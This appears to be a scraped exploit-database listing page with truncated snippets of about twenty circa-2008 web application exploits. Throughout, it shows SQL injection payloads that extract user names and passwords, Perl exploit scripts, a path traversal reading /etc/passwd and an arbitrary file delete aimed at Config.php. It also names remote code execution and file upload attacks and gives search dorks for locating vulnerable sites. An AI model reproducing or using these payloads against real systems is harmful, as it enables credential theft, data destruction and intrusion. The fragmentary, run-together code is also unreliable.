Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ===================================================================== Scout Portal Toolkit new or die; my...

Scout Portal Toolkit 1.4.0 - ParentId SQL Injection

Scout Portal Toolkit 1.4.0 - ParentId SQL Injection !/usr/bin/perl Scout Portal Toolkit new or die; my $go=$cnx-get$victim."/SPT--BrowseResources.php?ParentId=337+and+1=2+union+all+select+0,1,2,3,4,concatUserName,char34,UserPassword,6,7,8+from+APUsers/"; if $go-content = m/APUsers/\'...

chicomas204-xss.txt

Author : Hadi Kiamarsi ---------------------------------------------------------------------------------- Discovered by : Hadi Kiamarsi ---------------------------------------------------------------------------------- Exploited By : Hadi Kiamarsi...

CVE-2008-1381

ZoneMinder before 1.23.3 allows remote authenticated users, and possibly unauthenticated attackers in some installations, to execute arbitrary commands via shell metacharacters in a crafted URL...

Project Based Calendaring System (PBCS) 0.7.1 - Multiple Vulnerabilities

Project Based Calendaring System PBCS 0.7.1 - Multiple Vulnerabilities Project Based Calendaring System PBCS Version 0.7.1 Multiple Vulnerabilities Script: http://www.pbcs.org/pbcsdownload.php Poc : Hi str0ke Thanx To Posted but I Want Add Some Vulns In This Script 1- remote file upload...

LokiCMS 0.3.3 - Arbitrary File Delete

Name : LokiCMS 0.3.3 = Arbitrary File Delete Vulnerability Author : cOndemned Greetz : ZaBeaTy, GregStar, irk4z, doctor, Avantura ; Usage: http://target/lokiCMS/admin.php?delete=path/file PoC: http://target/lokiCMS/admin.php?delete=../includes/Config.php Deleting Config.php will casue situation...

miniBB 2.2 - 'bb_admin.php' Cross-Site Scripting Vulnerability

miniBB 2.2 'bbadmin.php' Cross-Site Scripting Vulnerability. Webapps exploit for php platform source: http://www.securityfocus.com/bid/28957/info miniBB is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue ...

Joomla Component paxxgallery 0.2 (gid) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use strict; use LWP::Simple; print "-+-- Joomla Component PaxxGallery Blind SQL Injection Exploit gid --+-\n"; print "-+-- "more than 1 row" --+-\n"; print "-+-- --+-\n"; print "-+-- Author: ZAMUT --+-\n"; print "-+-- Vuln: gid= --+-\n"; print...

kubelance-lfi.txt

$ Script : Kubelance All Versions Local File Inclusion Vulnerabilities $ Script Info : http://demos.kubelabs.com/kubelance/ $ Download : http://rapidshare.com/files/108095194/Kubelance.v1.6.4.PHP.NULL-DGT.rar.html $ Author : CrackersChild $ Contact : [email protected] $ Note : Erbabi ile...

OpenInvoice 0.9 Arbitrary Change User Password Exploit

Exploit for unknown platform in category web applications ====================================================== OpenInvoice 0.9 Arbitrary Change User Password Exploit ====================================================== !/usr/bin/perl OpenInvoice 0.9 Arbitrary Change User Password Exploit...

bosnews40-direct.txt

-------------------------------------------------------------------------------------------------------------- ----- H-T Team HouSSaMix + ToXiC350 from MoroCCo ---------------------------------------------------------...

KwsPHP &#40;Upload&#41; Remote Code Execution Exploit

?php / ---KwsPHP All Version / Remote Code Execution--- Faille Discovered By TsukasaGenesis && Ajax Sploit Coded By Ajax Site: http://www.r57shell.in / if$argc9 print "---KwsPHP All Version / Remote Code Execution---nn"; print "usage: kwsphpsploit.php -url url -login login -pass pass -email email...

Immunity Canvas: DRAGOON_INCLUDE

Name| dragooninclude ---|--- CVE| CVE-2008-1773 Exploit Pack| CANVAS Description| Dragoon 0.1 Remote File Include Notes| CVE Name: CVE-2008-1773 VENDOR: Dragoon Repeatability: Infinite References: http://securityreason.com/exploitalert/3697 CVE Url: https://vulners.com/cve/CVE-2008-1773 CVSS: 6.8...

Cezanne 6.5.17 - home.asp?CFTARGET Cross-Site Scripting

Cezanne 6.5.17 - home.asp?CFTARGET Cross-Site Scripting source: https://www.securityfocus.com/bid/28772/info Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. Authenticated attackers may leverage these issues to...

kq-admin.txt

!/usr/bin/perl use strict; use LWP::UserAgent; print "-+------------------------------------------+-\n"; print "-+- KnowledgeQuest 2.5 Arbitrary Add Admin -+-\n"; print "-+------------------------------------------+-\n"; print "-+- Discovered && Coded By t0pP8uzz -+-\n"; print "-+- This Exploit...

FLABER <= 1.1 RC1 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ================================================== FLABER " . $FILENAME . " Incorrect parameter targetfile."; 18. exit; 19. 20. 21. 22. $targetfile = "../" . $targetfile; 23. 24. // if it is a file 25. if isfile $targetfile 26. 27. if...

vbe6-dos.txt

Stack overflow in vbe6.dll, used by all versions of MS Office The overflow occurs in Visual Basic for Application. Creating a property with a long name about 247 chars results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address. Probably impossib...

hiswebshop-traverse.txt

HIS-Webshop is a shopping-system written in Perl by www.shoppark.de The script doesn´t check the "t"-parameter. Example: http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00...

joomlad3000-sql.txt

Powered by Download 3000 AUTHOR : S@BUN HOME : http://www.milw0rm.com/author/1334 BLOG : http://my.opera.com/SQL-Injection/blog/ MAiL : [email protected] DORK 1 : "Powered by Download 3000" DORK 2 : allinurl: "comd3000" EXPLOiT :...

joomladatso-sql.txt

Cr@zyKing [email protected] / hackshow.us Joomla Component comdatsogallery remote SQL Injection Version : v1.3.1 index.php?option=comdatsogallery&func=detail&id='Sql Sql : union+select+1,2,3,4,concatws0x3a,id,username,password,6,7,8,9,0,1,2,3,4,5+from+josusers/ ++++++++++++++++++++++++Güç...